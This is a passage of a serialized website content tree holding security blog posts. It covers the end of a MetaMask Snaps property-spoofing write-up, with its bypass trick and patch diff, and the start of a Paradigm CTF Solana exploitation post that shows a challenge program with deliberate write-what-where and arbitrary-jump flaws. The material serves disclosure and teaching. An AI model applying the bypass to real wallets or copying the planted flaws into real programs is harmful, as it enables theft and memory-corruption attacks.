'transaction'",{"type":25,"tag":271,"props":53348,"children":53349},{"style":13625},[53350],{"type":30,"value":18699},{"type":25,"tag":271,"props":53352,"children":53353},{"class":13593,"line":36930},[53354,53358,53362],{"type":25,"tag":271,"props":53355,"children":53356},{"style":16171},[53357],{"type":30,"value":52467},{"type":25,"tag":271,"props":53359,"children":53360},{"style":13620},[53361],{"type":30,"value":52942},{"type":25,"tag":271,"props":53363,"children":53364},{"style":13625},[53365],{"type":30,"value":16820},{"type":25,"tag":271,"props":53367,"children":53368},{"class":13593,"line":36943},[53369,53374],{"type":25,"tag":271,"props":53370,"children":53371},{"style":16171},[53372],{"type":30,"value":53373},"    default",{"type":25,"tag":271,"props":53375,"children":53376},{"style":13625},[53377],{"type":30,"value":18699},{"type":25,"tag":271,"props":53379,"children":53380},{"class":13593,"line":36956},[53381,53386,53390,53395,53399,53404],{"type":25,"tag":271,"props":53382,"children":53383},{"style":16171},[53384],{"type":30,"value":53385},"      throw",{"type":25,"tag":271,"props":53387,"children":53388},{"style":14289},[53389],{"type":30,"value":45045},{"type":25,"tag":271,"props":53391,"children":53392},{"style":13620},[53393],{"type":30,"value":53394}," Error",{"type":25,"tag":271,"props":53396,"children":53397},{"style":13625},[53398],{"type":30,"value":394},{"type":25,"tag":271,"props":53400,"children":53401},{"style":17388},[53402],{"type":30,"value":53403},"'Method not found.'",{"type":25,"tag":271,"props":53405,"children":53406},{"style":13625},[53407],{"type":30,"value":13665},{"type":25,"tag":271,"props":53409,"children":53410},{"class":13593,"line":36969},[53411],{"type":25,"tag":271,"props":53412,"children":53413},{"style":13625},[53414],{"type":30,"value":19003},{"type":25,"tag":271,"props":53416,"children":53417},{"class":13593,"line":37023},[53418],{"type":25,"tag":271,"props":53419,"children":53420},{"style":13625},[53421],{"type":30,"value":29700},{"type":25,"tag":26,"props":53423,"children":53424},{},[53425,53427,53433,53435,53440],{"type":30,"value":53426},"We set ",{"type":25,"tag":264,"props":53428,"children":53430},{"className":53429},[],[53431],{"type":30,"value":53432},"x.method = \"snap_dialog\"",{"type":30,"value":53434}," to pass the assertion and setup a toJSON function to change this method to ",{"type":25,"tag":264,"props":53436,"children":53438},{"className":53437},[],[53439],{"type":30,"value":52642},{"type":30,"value":53441}," after.",{"type":25,"tag":247,"props":53443,"children":53445},{"id":53444},"mitigation",[53446],{"type":30,"value":53447},"Mitigation",{"type":25,"tag":26,"props":53449,"children":53450},{},[53451,53453,53458,53460,53467],{"type":30,"value":53452},"Metamask mitigated this issue by asserting the arguments after the ",{"type":25,"tag":264,"props":53454,"children":53456},{"className":53455},[],[53457],{"type":30,"value":52186},{"type":30,"value":53459}," function execution. The patch was introduced on commit ",{"type":25,"tag":83,"props":53461,"children":53464},{"href":53462,"rel":53463},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[9066],[53465],{"type":30,"value":53466},"168ff08",{"type":30,"value":53468}," with the following changes:",{"type":25,"tag":7764,"props":53470,"children":53474},{"className":53471,"code":53472,"language":53473,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[53475],{"type":25,"tag":264,"props":53476,"children":53477},{"__ignoreMap":7},[53478,53486,53494,53502,53510],{"type":25,"tag":271,"props":53479,"children":53480},{"class":13593,"line":13594},[53481],{"type":25,"tag":271,"props":53482,"children":53483},{"style":13625},[53484],{"type":30,"value":53485},"const request = async (args: RequestArguments) => {\n",{"type":25,"tag":271,"props":53487,"children":53488},{"class":13593,"line":11641},[53489],{"type":25,"tag":271,"props":53490,"children":53491},{"style":17388},[53492],{"type":30,"value":53493},"-      assertEthereumOutboundRequest(args);\n",{"type":25,"tag":271,"props":53495,"children":53496},{"class":13593,"line":14354},[53497],{"type":25,"tag":271,"props":53498,"children":53499},{"style":17388},[53500],{"type":30,"value":53501},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":25,"tag":271,"props":53503,"children":53504},{"class":13593,"line":14391},[53505],{"type":25,"tag":271,"props":53506,"children":53507},{"style":16187},[53508],{"type":30,"value":53509},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":25,"tag":271,"props":53511,"children":53512},{"class":13593,"line":14400},[53513],{"type":25,"tag":271,"props":53514,"children":53515},{"style":16187},[53516],{"type":30,"value":53517},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":25,"tag":96,"props":53519,"children":53520},{"id":42044},[53521],{"type":30,"value":32068},{"type":25,"tag":26,"props":53523,"children":53524},{},[53525],{"type":30,"value":53526},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":25,"tag":26,"props":53528,"children":53529},{},[53530],{"type":30,"value":53531},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":25,"tag":15963,"props":53533,"children":53534},{},[53535],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":53537},[53538,53539,53546,53554],{"id":32077,"depth":11641,"text":32080},{"id":48564,"depth":11641,"text":48567,"children":53540},[53541,53542,53543,53544,53545],{"id":48575,"depth":14354,"text":48578},{"id":48643,"depth":14354,"text":48646},{"id":48679,"depth":14354,"text":48682},{"id":50075,"depth":14354,"text":50078},{"id":50433,"depth":14354,"text":50436},{"id":51218,"depth":11641,"text":51221,"children":53547},[53548,53549,53550,53551,53552,53553],{"id":51224,"depth":14354,"text":51227},{"id":51268,"depth":14354,"text":51271},{"id":52172,"depth":14354,"text":52175},{"id":18793,"depth":14354,"text":18796},{"id":52615,"depth":14354,"text":47940},{"id":53444,"depth":14354,"text":53447},{"id":42044,"depth":11641,"text":32068},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":53559,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":53560,"description":53561,"author":53562,"image":53564,"date":53566,"isFeatured":18,"onBlogPage":18,"body":53567,"_type":16004,"_id":58987,"_source":16006,"_file":58988,"_stem":58989,"_extension":16009},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[53563,18851],"nicola",{"src":53565},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":22,"children":53568,"toc":58976},[53569,53583,53603,53608,53612,53625,53650,53656,53661,53676,54030,54045,54310,54326,54969,54975,54980,54993,55001,55213,55221,55524,55532,55675,55683,56208,56214,56226,56239,56253,56258,57026,57031,57039,57044,57050,57062,57127,57132,57145,57158,57164,57192,58343,58356,58398,58403,58408,58422,58562,58583,58604,58611,58662,58670,58681,58694,58699,58823,58836,58938,58942,58955,58960,58972],{"type":25,"tag":26,"props":53570,"children":53571},{},[53572,53574,53581],{"type":30,"value":53573},"In the world of CTFs, ",{"type":25,"tag":83,"props":53575,"children":53578},{"href":53576,"rel":53577},"https://twitter.com/paradigm_ctf",[9066],[53579],{"type":30,"value":53580},"Paradigm CTF 2023",{"type":30,"value":53582}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":25,"tag":26,"props":53584,"children":53585},{},[53586,53588,53595,53596],{"type":30,"value":53587},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":25,"tag":83,"props":53589,"children":53592},{"href":53590,"rel":53591},"https://osec.io/blog/2022-03-14-solana-security-intro",[9066],[53593],{"type":30,"value":53594},"Solana: An Auditor's Introduction",{"type":30,"value":12218},{"type":25,"tag":83,"props":53597,"children":53600},{"href":53598,"rel":53599},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[9066],[53601],{"type":30,"value":53602},"Reverse Engineering Solana with Binary Ninja.\n",{"type":25,"tag":26,"props":53604,"children":53605},{},[53606],{"type":30,"value":53607},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":25,"tag":96,"props":53609,"children":53610},{"id":32077},[53611],{"type":30,"value":32080},{"type":25,"tag":26,"props":53613,"children":53614},{},[53615,53617,53623],{"type":30,"value":53616},"The challenge itself resides into ",{"type":25,"tag":264,"props":53618,"children":53620},{"className":53619},[],[53621],{"type":30,"value":53622},"framework/",{"type":30,"value":53624},", and is composed of 2 parts:",{"type":25,"tag":108,"props":53626,"children":53627},{},[53628,53639],{"type":25,"tag":112,"props":53629,"children":53630},{},[53631,53637],{"type":25,"tag":264,"props":53632,"children":53634},{"className":53633},[],[53635],{"type":30,"value":53636},"framework/chall/lib.rs",{"type":30,"value":53638},": The on-chain eBPF program that needs to be exploited.",{"type":25,"tag":112,"props":53640,"children":53641},{},[53642,53648],{"type":25,"tag":264,"props":53643,"children":53645},{"className":53644},[],[53646],{"type":30,"value":53647},"framework/src/main.rs",{"type":30,"value":53649},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":25,"tag":247,"props":53651,"children":53653},{"id":53652},"vulnerable-program",[53654],{"type":30,"value":53655},"Vulnerable Program",{"type":25,"tag":26,"props":53657,"children":53658},{},[53659],{"type":30,"value":53660},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":25,"tag":661,"props":53662,"children":53663},{},[53664],{"type":25,"tag":112,"props":53665,"children":53666},{},[53667,53668,53674],{"type":30,"value":7378},{"type":25,"tag":264,"props":53669,"children":53671},{"className":53670},[],[53672],{"type":30,"value":53673},"data[0] == 0",{"type":30,"value":53675}," a function that lets you write-what-where is executed",{"type":25,"tag":7764,"props":53677,"children":53679},{"className":13586,"code":53678,"language":13585,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[53680],{"type":25,"tag":264,"props":53681,"children":53682},{"__ignoreMap":7},[53683,53691,53736,53747,53870,53987,54016,54023],{"type":25,"tag":271,"props":53684,"children":53685},{"class":13593,"line":13594},[53686],{"type":25,"tag":271,"props":53687,"children":53688},{"style":13625},[53689],{"type":30,"value":53690},"#[inline(never)]\n",{"type":25,"tag":271,"props":53692,"children":53693},{"class":13593,"line":11641},[53694,53698,53702,53707,53711,53715,53719,53723,53727,53731],{"type":25,"tag":271,"props":53695,"children":53696},{"style":14289},[53697],{"type":30,"value":14292},{"type":25,"tag":271,"props":53699,"children":53700},{"style":14289},[53701],{"type":30,"value":14297},{"type":25,"tag":271,"props":53703,"children":53704},{"style":13620},[53705],{"type":30,"value":53706}," write",{"type":25,"tag":271,"props":53708,"children":53709},{"style":13625},[53710],{"type":30,"value":394},{"type":25,"tag":271,"props":53712,"children":53713},{"style":13598},[53714],{"type":30,"value":10346},{"type":25,"tag":271,"props":53716,"children":53717},{"style":13603},[53718],{"type":30,"value":359},{"type":25,"tag":271,"props":53720,"children":53721},{"style":13603},[53722],{"type":30,"value":14341},{"type":25,"tag":271,"props":53724,"children":53725},{"style":13625},[53726],{"type":30,"value":5604},{"type":25,"tag":271,"props":53728,"children":53729},{"style":13609},[53730],{"type":30,"value":16567},{"type":25,"tag":271,"props":53732,"children":53733},{"style":13625},[53734],{"type":30,"value":53735},"]) {\n",{"type":25,"tag":271,"props":53737,"children":53738},{"class":13593,"line":14354},[53739,53743],{"type":25,"tag":271,"props":53740,"children":53741},{"style":14289},[53742],{"type":30,"value":26954},{"type":25,"tag":271,"props":53744,"children":53745},{"style":13625},[53746],{"type":30,"value":16431},{"type":25,"tag":271,"props":53748,"children":53749},{"class":13593,"line":14391},[53750,53754,53758,53762,53767,53771,53776,53780,53785,53789,53794,53798,53802,53806,53810,53814,53818,53822,53826,53830,53834,53838,53842,53846,53850,53854,53858,53862,53866],{"type":25,"tag":271,"props":53751,"children":53752},{"style":14289},[53753],{"type":30,"value":16208},{"type":25,"tag":271,"props":53755,"children":53756},{"style":13598},[53757],{"type":30,"value":26978},{"type":25,"tag":271,"props":53759,"children":53760},{"style":13603},[53761],{"type":30,"value":16155},{"type":25,"tag":271,"props":53763,"children":53764},{"style":13625},[53765],{"type":30,"value":53766}," std",{"type":25,"tag":271,"props":53768,"children":53769},{"style":13603},[53770],{"type":30,"value":13617},{"type":25,"tag":271,"props":53772,"children":53773},{"style":13625},[53774],{"type":30,"value":53775},"mem",{"type":25,"tag":271,"props":53777,"children":53778},{"style":13603},[53779],{"type":30,"value":13617},{"type":25,"tag":271,"props":53781,"children":53782},{"style":13620},[53783],{"type":30,"value":53784},"transmute",{"type":25,"tag":271,"props":53786,"children":53787},{"style":13603},[53788],{"type":30,"value":13617},{"type":25,"tag":271,"props":53790,"children":53791},{"style":13625},[53792],{"type":30,"value":53793},"\u003C[",{"type":25,"tag":271,"props":53795,"children":53796},{"style":13609},[53797],{"type":30,"value":16567},{"type":25,"tag":271,"props":53799,"children":53800},{"style":13625},[53801],{"type":30,"value":30349},{"type":25,"tag":271,"props":53803,"children":53804},{"style":16187},[53805],{"type":30,"value":17214},{"type":25,"tag":271,"props":53807,"children":53808},{"style":13625},[53809],{"type":30,"value":36160},{"type":25,"tag":271,"props":53811,"children":53812},{"style":13603},[53813],{"type":30,"value":17702},{"type":25,"tag":271,"props":53815,"children":53816},{"style":14289},[53817],{"type":30,"value":16877},{"type":25,"tag":271,"props":53819,"children":53820},{"style":13609},[53821],{"type":30,"value":18991},{"type":25,"tag":271,"props":53823,"children":53824},{"style":13625},[53825],{"type":30,"value":20732},{"type":25,"tag":271,"props":53827,"children":53828},{"style":13598},[53829],{"type":30,"value":10346},{"type":25,"tag":271,"props":53831,"children":53832},{"style":13625},[53833],{"type":30,"value":5604},{"type":25,"tag":271,"props":53835,"children":53836},{"style":13603},[53837],{"type":30,"value":16195},{"type":25,"tag":271,"props":53839,"children":53840},{"style":16187},[53841],{"type":30,"value":17214},{"type":25,"tag":271,"props":53843,"children":53844},{"style":13625},[53845],{"type":30,"value":5630},{"type":25,"tag":271,"props":53847,"children":53848},{"style":13603},[53849],{"type":30,"value":1860},{"type":25,"tag":271,"props":53851,"children":53852},{"style":13620},[53853],{"type":30,"value":39272},{"type":25,"tag":271,"props":53855,"children":53856},{"style":13625},[53857],{"type":30,"value":27000},{"type":25,"tag":271,"props":53859,"children":53860},{"style":13603},[53861],{"type":30,"value":1860},{"type":25,"tag":271,"props":53863,"children":53864},{"style":13620},[53865],{"type":30,"value":16815},{"type":25,"tag":271,"props":53867,"children":53868},{"style":13625},[53869],{"type":30,"value":28546},{"type":25,"tag":271,"props":53871,"children":53872},{"class":13593,"line":14400},[53873,53877,53882,53886,53890,53894,53898,53902,53906,53910,53914,53918,53922,53926,53930,53934,53938,53942,53946,53950,53954,53959,53963,53967,53971,53975,53979,53983],{"type":25,"tag":271,"props":53874,"children":53875},{"style":14289},[53876],{"type":30,"value":16208},{"type":25,"tag":271,"props":53878,"children":53879},{"style":13598},[53880],{"type":30,"value":53881}," val",{"type":25,"tag":271,"props":53883,"children":53884},{"style":13603},[53885],{"type":30,"value":16155},{"type":25,"tag":271,"props":53887,"children":53888},{"style":13625},[53889],{"type":30,"value":53766},{"type":25,"tag":271,"props":53891,"children":53892},{"style":13603},[53893],{"type":30,"value":13617},{"type":25,"tag":271,"props":53895,"children":53896},{"style":13625},[53897],{"type":30,"value":53775},{"type":25,"tag":271,"props":53899,"children":53900},{"style":13603},[53901],{"type":30,"value":13617},{"type":25,"tag":271,"props":53903,"children":53904},{"style":13620},[53905],{"type":30,"value":53784},{"type":25,"tag":271,"props":53907,"children":53908},{"style":13603},[53909],{"type":30,"value":13617},{"type":25,"tag":271,"props":53911,"children":53912},{"style":13625},[53913],{"type":30,"value":53793},{"type":25,"tag":271,"props":53915,"children":53916},{"style":13609},[53917],{"type":30,"value":16567},{"type":25,"tag":271,"props":53919,"children":53920},{"style":13625},[53921],{"type":30,"value":30349},{"type":25,"tag":271,"props":53923,"children":53924},{"style":16187},[53925],{"type":30,"value":17214},{"type":25,"tag":271,"props":53927,"children":53928},{"style":13625},[53929],{"type":30,"value":36160},{"type":25,"tag":271,"props":53931,"children":53932},{"style":13609},[53933],{"type":30,"value":21164},{"type":25,"tag":271,"props":53935,"children":53936},{"style":13625},[53937],{"type":30,"value":20732},{"type":25,"tag":271,"props":53939,"children":53940},{"style":13598},[53941],{"type":30,"value":10346},{"type":25,"tag":271,"props":53943,"children":53944},{"style":13625},[53945],{"type":30,"value":5604},{"type":25,"tag":271,"props":53947,"children":53948},{"style":16187},[53949],{"type":30,"value":17214},{"type":25,"tag":271,"props":53951,"children":53952},{"style":13603},[53953],{"type":30,"value":16195},{"type":25,"tag":271,"props":53955,"children":53956},{"style":16187},[53957],{"type":30,"value":53958},"16",{"type":25,"tag":271,"props":53960,"children":53961},{"style":13625},[53962],{"type":30,"value":5630},{"type":25,"tag":271,"props":53964,"children":53965},{"style":13603},[53966],{"type":30,"value":1860},{"type":25,"tag":271,"props":53968,"children":53969},{"style":13620},[53970],{"type":30,"value":39272},{"type":25,"tag":271,"props":53972,"children":53973},{"style":13625},[53974],{"type":30,"value":27000},{"type":25,"tag":271,"props":53976,"children":53977},{"style":13603},[53978],{"type":30,"value":1860},{"type":25,"tag":271,"props":53980,"children":53981},{"style":13620},[53982],{"type":30,"value":16815},{"type":25,"tag":271,"props":53984,"children":53985},{"style":13625},[53986],{"type":30,"value":28546},{"type":25,"tag":271,"props":53988,"children":53989},{"class":13593,"line":16406},[53990,53995,53999,54004,54008,54012],{"type":25,"tag":271,"props":53991,"children":53992},{"style":13598},[53993],{"type":30,"value":53994},"        ptr",{"type":25,"tag":271,"props":53996,"children":53997},{"style":13603},[53998],{"type":30,"value":1860},{"type":25,"tag":271,"props":54000,"children":54001},{"style":13620},[54002],{"type":30,"value":54003},"write_volatile",{"type":25,"tag":271,"props":54005,"children":54006},{"style":13625},[54007],{"type":30,"value":394},{"type":25,"tag":271,"props":54009,"children":54010},{"style":13598},[54011],{"type":30,"value":25757},{"type":25,"tag":271,"props":54013,"children":54014},{"style":13625},[54015],{"type":30,"value":13665},{"type":25,"tag":271,"props":54017,"children":54018},{"class":13593,"line":16434},[54019],{"type":25,"tag":271,"props":54020,"children":54021},{"style":13625},[54022],{"type":30,"value":16501},{"type":25,"tag":271,"props":54024,"children":54025},{"class":13593,"line":16447},[54026],{"type":25,"tag":271,"props":54027,"children":54028},{"style":13625},[54029],{"type":30,"value":17058},{"type":25,"tag":661,"props":54031,"children":54032},{"start":11641},[54033],{"type":25,"tag":112,"props":54034,"children":54035},{},[54036,54037,54043],{"type":30,"value":7378},{"type":25,"tag":264,"props":54038,"children":54040},{"className":54039},[],[54041],{"type":30,"value":54042},"data[0] == 1",{"type":30,"value":54044},", a CPI to a non-existent program is executed:",{"type":25,"tag":7764,"props":54046,"children":54048},{"className":13586,"code":54047,"language":13585,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[54049],{"type":25,"tag":264,"props":54050,"children":54051},{"__ignoreMap":7},[54052,54059,54103,54128,54158,54198,54219,54226,54233,54245,54261,54273,54284,54303],{"type":25,"tag":271,"props":54053,"children":54054},{"class":13593,"line":13594},[54055],{"type":25,"tag":271,"props":54056,"children":54057},{"style":13625},[54058],{"type":30,"value":53690},{"type":25,"tag":271,"props":54060,"children":54061},{"class":13593,"line":11641},[54062,54066,54070,54075,54079,54083,54087,54091,54095,54099],{"type":25,"tag":271,"props":54063,"children":54064},{"style":14289},[54065],{"type":30,"value":14292},{"type":25,"tag":271,"props":54067,"children":54068},{"style":14289},[54069],{"type":30,"value":14297},{"type":25,"tag":271,"props":54071,"children":54072},{"style":13620},[54073],{"type":30,"value":54074}," call",{"type":25,"tag":271,"props":54076,"children":54077},{"style":13625},[54078],{"type":30,"value":394},{"type":25,"tag":271,"props":54080,"children":54081},{"style":13598},[54082],{"type":30,"value":10346},{"type":25,"tag":271,"props":54084,"children":54085},{"style":13603},[54086],{"type":30,"value":359},{"type":25,"tag":271,"props":54088,"children":54089},{"style":13603},[54090],{"type":30,"value":14341},{"type":25,"tag":271,"props":54092,"children":54093},{"style":13625},[54094],{"type":30,"value":5604},{"type":25,"tag":271,"props":54096,"children":54097},{"style":13609},[54098],{"type":30,"value":16567},{"type":25,"tag":271,"props":54100,"children":54101},{"style":13625},[54102],{"type":30,"value":53735},{"type":25,"tag":271,"props":54104,"children":54105},{"class":13593,"line":14354},[54106,54110,54115,54119,54124],{"type":25,"tag":271,"props":54107,"children":54108},{"style":14289},[54109],{"type":30,"value":16140},{"type":25,"tag":271,"props":54111,"children":54112},{"style":13598},[54113],{"type":30,"value":54114}," ix",{"type":25,"tag":271,"props":54116,"children":54117},{"style":13603},[54118],{"type":30,"value":16155},{"type":25,"tag":271,"props":54120,"children":54121},{"style":13609},[54122],{"type":30,"value":54123}," Instruction",{"type":25,"tag":271,"props":54125,"children":54126},{"style":13625},[54127],{"type":30,"value":16431},{"type":25,"tag":271,"props":54129,"children":54130},{"class":13593,"line":14391},[54131,54136,54140,54145,54149,54154],{"type":25,"tag":271,"props":54132,"children":54133},{"style":13598},[54134],{"type":30,"value":54135},"        program_id",{"type":25,"tag":271,"props":54137,"children":54138},{"style":13603},[54139],{"type":30,"value":359},{"type":25,"tag":271,"props":54141,"children":54142},{"style":13620},[54143],{"type":30,"value":54144}," pubkey!",{"type":25,"tag":271,"props":54146,"children":54147},{"style":13625},[54148],{"type":30,"value":394},{"type":25,"tag":271,"props":54150,"children":54151},{"style":17388},[54152],{"type":30,"value":54153},"\"osecio5555555555555551111111111111111111111\"",{"type":25,"tag":271,"props":54155,"children":54156},{"style":13625},[54157],{"type":30,"value":19860},{"type":25,"tag":271,"props":54159,"children":54160},{"class":13593,"line":14400},[54161,54166,54170,54174,54178,54182,54186,54190,54194],{"type":25,"tag":271,"props":54162,"children":54163},{"style":13598},[54164],{"type":30,"value":54165},"        data",{"type":25,"tag":271,"props":54167,"children":54168},{"style":13603},[54169],{"type":30,"value":359},{"type":25,"tag":271,"props":54171,"children":54172},{"style":13598},[54173],{"type":30,"value":28226},{"type":25,"tag":271,"props":54175,"children":54176},{"style":13603},[54177],{"type":30,"value":1860},{"type":25,"tag":271,"props":54179,"children":54180},{"style":13620},[54181],{"type":30,"value":39272},{"type":25,"tag":271,"props":54183,"children":54184},{"style":13625},[54185],{"type":30,"value":27000},{"type":25,"tag":271,"props":54187,"children":54188},{"style":13603},[54189],{"type":30,"value":1860},{"type":25,"tag":271,"props":54191,"children":54192},{"style":13620},[54193],{"type":30,"value":16815},{"type":25,"tag":271,"props":54195,"children":54196},{"style":13625},[54197],{"type":30,"value":16636},{"type":25,"tag":271,"props":54199,"children":54200},{"class":13593,"line":16406},[54201,54206,54210,54214],{"type":25,"tag":271,"props":54202,"children":54203},{"style":13598},[54204],{"type":30,"value":54205},"        accounts",{"type":25,"tag":271,"props":54207,"children":54208},{"style":13603},[54209],{"type":30,"value":359},{"type":25,"tag":271,"props":54211,"children":54212},{"style":13620},[54213],{"type":30,"value":16882},{"type":25,"tag":271,"props":54215,"children":54216},{"style":13625},[54217],{"type":30,"value":54218},"[]\n",{"type":25,"tag":271,"props":54220,"children":54221},{"class":13593,"line":16434},[54222],{"type":25,"tag":271,"props":54223,"children":54224},{"style":13625},[54225],{"type":30,"value":52107},{"type":25,"tag":271,"props":54227,"children":54228},{"class":13593,"line":16447},[54229],{"type":25,"tag":271,"props":54230,"children":54231},{"emptyLinePlaceholder":18},[54232],{"type":30,"value":16829},{"type":25,"tag":271,"props":54234,"children":54235},{"class":13593,"line":16465},[54236,54241],{"type":25,"tag":271,"props":54237,"children":54238},{"style":13620},[54239],{"type":30,"value":54240},"    invoke_signed_unchecked",{"type":25,"tag":271,"props":54242,"children":54243},{"style":13625},[54244],{"type":30,"value":16609},{"type":25,"tag":271,"props":54246,"children":54247},{"class":13593,"line":16486},[54248,54252,54257],{"type":25,"tag":271,"props":54249,"children":54250},{"style":13603},[54251],{"type":30,"value":16617},{"type":25,"tag":271,"props":54253,"children":54254},{"style":13598},[54255],{"type":30,"value":54256},"ix",{"type":25,"tag":271,"props":54258,"children":54259},{"style":13625},[54260],{"type":30,"value":14351},{"type":25,"tag":271,"props":54262,"children":54263},{"class":13593,"line":16495},[54264,54268],{"type":25,"tag":271,"props":54265,"children":54266},{"style":13603},[54267],{"type":30,"value":16617},{"type":25,"tag":271,"props":54269,"children":54270},{"style":13625},[54271],{"type":30,"value":54272},"[],\n",{"type":25,"tag":271,"props":54274,"children":54275},{"class":13593,"line":16744},[54276,54280],{"type":25,"tag":271,"props":54277,"children":54278},{"style":13603},[54279],{"type":30,"value":16617},{"type":25,"tag":271,"props":54281,"children":54282},{"style":13625},[54283],{"type":30,"value":54272},{"type":25,"tag":271,"props":54285,"children":54286},{"class":13593,"line":16761},[54287,54291,54295,54299],{"type":25,"tag":271,"props":54288,"children":54289},{"style":13625},[54290],{"type":30,"value":16806},{"type":25,"tag":271,"props":54292,"children":54293},{"style":13603},[54294],{"type":30,"value":1860},{"type":25,"tag":271,"props":54296,"children":54297},{"style":13620},[54298],{"type":30,"value":16815},{"type":25,"tag":271,"props":54300,"children":54301},{"style":13625},[54302],{"type":30,"value":16820},{"type":25,"tag":271,"props":54304,"children":54305},{"class":13593,"line":16778},[54306],{"type":25,"tag":271,"props":54307,"children":54308},{"style":13625},[54309],{"type":30,"value":17058},{"type":25,"tag":661,"props":54311,"children":54312},{"start":14354},[54313],{"type":25,"tag":112,"props":54314,"children":54315},{},[54316,54318,54324],{"type":30,"value":54317},"Finally, if ",{"type":25,"tag":264,"props":54319,"children":54321},{"className":54320},[],[54322],{"type":30,"value":54323},"data[0]",{"type":30,"value":54325}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":25,"tag":7764,"props":54327,"children":54329},{"className":13586,"code":54328,"language":13585,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[54330],{"type":25,"tag":264,"props":54331,"children":54332},{"__ignoreMap":7},[54333,54340,54388,54399,54519,54634,54653,54660,54695,54702,54821,54936,54955,54962],{"type":25,"tag":271,"props":54334,"children":54335},{"class":13593,"line":13594},[54336],{"type":25,"tag":271,"props":54337,"children":54338},{"style":13625},[54339],{"type":30,"value":53690},{"type":25,"tag":271,"props":54341,"children":54342},{"class":13593,"line":11641},[54343,54347,54351,54356,54360,54364,54368,54372,54376,54380,54384],{"type":25,"tag":271,"props":54344,"children":54345},{"style":14289},[54346],{"type":30,"value":14292},{"type":25,"tag":271,"props":54348,"children":54349},{"style":14289},[54350],{"type":30,"value":14297},{"type":25,"tag":271,"props":54352,"children":54353},{"style":13620},[54354],{"type":30,"value":54355}," process",{"type":25,"tag":271,"props":54357,"children":54358},{"style":13625},[54359],{"type":30,"value":394},{"type":25,"tag":271,"props":54361,"children":54362},{"style":14289},[54363],{"type":30,"value":16877},{"type":25,"tag":271,"props":54365,"children":54366},{"style":13598},[54367],{"type":30,"value":28226},{"type":25,"tag":271,"props":54369,"children":54370},{"style":13603},[54371],{"type":30,"value":359},{"type":25,"tag":271,"props":54373,"children":54374},{"style":13603},[54375],{"type":30,"value":14341},{"type":25,"tag":271,"props":54377,"children":54378},{"style":13625},[54379],{"type":30,"value":5604},{"type":25,"tag":271,"props":54381,"children":54382},{"style":13609},[54383],{"type":30,"value":16567},{"type":25,"tag":271,"props":54385,"children":54386},{"style":13625},[54387],{"type":30,"value":53735},{"type":25,"tag":271,"props":54389,"children":54390},{"class":13593,"line":14354},[54391,54395],{"type":25,"tag":271,"props":54392,"children":54393},{"style":14289},[54394],{"type":30,"value":26954},{"type":25,"tag":271,"props":54396,"children":54397},{"style":13625},[54398],{"type":30,"value":16431},{"type":25,"tag":271,"props":54400,"children":54401},{"class":13593,"line":14391},[54402,54406,54410,54414,54418,54422,54426,54430,54434,54438,54442,54446,54450,54454,54458,54462,54466,54470,54475,54479,54483,54487,54491,54495,54499,54503,54507,54511,54515],{"type":25,"tag":271,"props":54403,"children":54404},{"style":14289},[54405],{"type":30,"value":16208},{"type":25,"tag":271,"props":54407,"children":54408},{"style":13598},[54409],{"type":30,"value":26978},{"type":25,"tag":271,"props":54411,"children":54412},{"style":13603},[54413],{"type":30,"value":16155},{"type":25,"tag":271,"props":54415,"children":54416},{"style":13625},[54417],{"type":30,"value":53766},{"type":25,"tag":271,"props":54419,"children":54420},{"style":13603},[54421],{"type":30,"value":13617},{"type":25,"tag":271,"props":54423,"children":54424},{